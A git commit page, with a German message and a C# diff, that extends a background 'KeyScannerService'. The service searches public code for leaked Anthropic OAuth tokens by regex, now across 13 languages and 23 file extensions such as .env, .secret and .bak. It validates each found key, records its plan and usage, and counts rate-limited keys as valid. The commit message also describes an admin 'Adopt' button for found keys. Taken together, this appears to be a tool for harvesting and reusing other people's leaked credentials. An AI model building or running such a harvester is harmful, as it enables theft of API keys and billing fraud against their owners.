Key-Scanner: Auth-Header fix, 401-mit-Usage-Handling, breitere Suche, Live-Refresh
- AnthropicKeyChecker: Bearer-Auth + CLI-Header statt x-api-key (identisch mit AnthropicService) - 401 mit Usage-Headern → 'usage_limited' statt 'invalid' (Key gültig, Limit erreicht) - Haiku-Phase entfernt, Streaming-Logik entfernt → ein einfacher Request reicht - KeyScannerService: SearchLanguages 1→13, PathExtensions 24 neue Pfad-Filter - ApiKeysEndpoint: usage_limited als 'ok' ans Frontend - Frontend: Adopt-Button auch bei quota_exceeded, Live-Refresh alle 3s während Scan - CSS: Overflow-Ellipsis für lange URLs in Admin-Listen
This commit is contained in:
1 parent
006ef223bf
commit
608118a823
5 files changed
+55
-15
No files matched your search
@@ -40,7 +40,20 @@ public class KeyScannerService : BackgroundService
|
||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
||||
};
|
||||
|
||||
private static readonly string[] SearchLanguages = { "Dotenv" };
|
||||
private static readonly string[] SearchLanguages =
|
||||
{
|
||||
"Dotenv", "Text", "JavaScript", "Python", "TypeScript",
|
||||
"Dockerfile", "Markdown", "Jupyter Notebook", "Shell",
|
||||
"Java", "Go", "C++", "PHP"
|
||||
};
|
||||
|
||||
private static readonly string[] PathExtensions =
|
||||
{
|
||||
".env", ".envrc", ".prod", ".secret", ".private", ".key",
|
||||
".xml", ".json", ".properties", ".sql", ".txt", ".log",
|
||||
".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg",
|
||||
".tmp", ".backup", ".bak", ".enc",
|
||||
};
|
||||
|
||||
private const int RateLimitDelayMs = 6_500;
|
||||
private const int MaxResultsPerSearch = 1000;
|
||||
@@ -348,6 +361,11 @@ public class KeyScannerService : BackgroundService
|
||||
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
|
||||
queries.Add(($"{searchTerm} {langFilter}", regex));
|
||||
}
|
||||
|
||||
foreach (var pathExt in PathExtensions)
|
||||
{
|
||||
queries.Add(($"{searchTerm} path:{pathExt}", regex));
|
||||
}
|
||||
}
|
||||
return queries;
|
||||
}
|
||||
@@ -359,7 +377,8 @@ public class KeyScannerService : BackgroundService
|
||||
try
|
||||
{
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
Reference in new issue
Block a user